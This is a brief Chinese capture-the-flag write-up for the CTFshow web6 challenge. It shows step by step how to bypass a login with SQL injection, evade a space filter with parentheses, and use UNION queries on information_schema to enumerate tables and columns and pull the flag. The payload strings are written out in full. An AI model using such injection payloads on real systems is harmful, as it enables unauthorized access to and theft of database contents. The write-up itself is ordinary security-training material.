CTFshow-web-web6
打开靶场,显示如下
是一个sql注入漏洞,先尝试使用万能语句1’ or 1=1#
发现显示错误,过滤了空格,可以用括号()或者注释/**/绕过
输入1’or(1=1)#
发现登录成功了,我们再使用联合注入获取当前使用的数据库,输入1’or(1=1)union(select(1),database(),3)#
我们接着获取数据库中的所有表,输入1’or(1=1)union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema=‘web2’)),3)#
获取到数据库中的表flag和user,我们去获取flag表中的所有字段,输入1’or(1=1)union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema=‘web2’)and(table_name=‘flag’)),3)#
成功获取flag字段flag,接着获取flag表中的数据,输入1’or(1=1)union(select(1),(select(flag)from(flag)),3)#
找出flag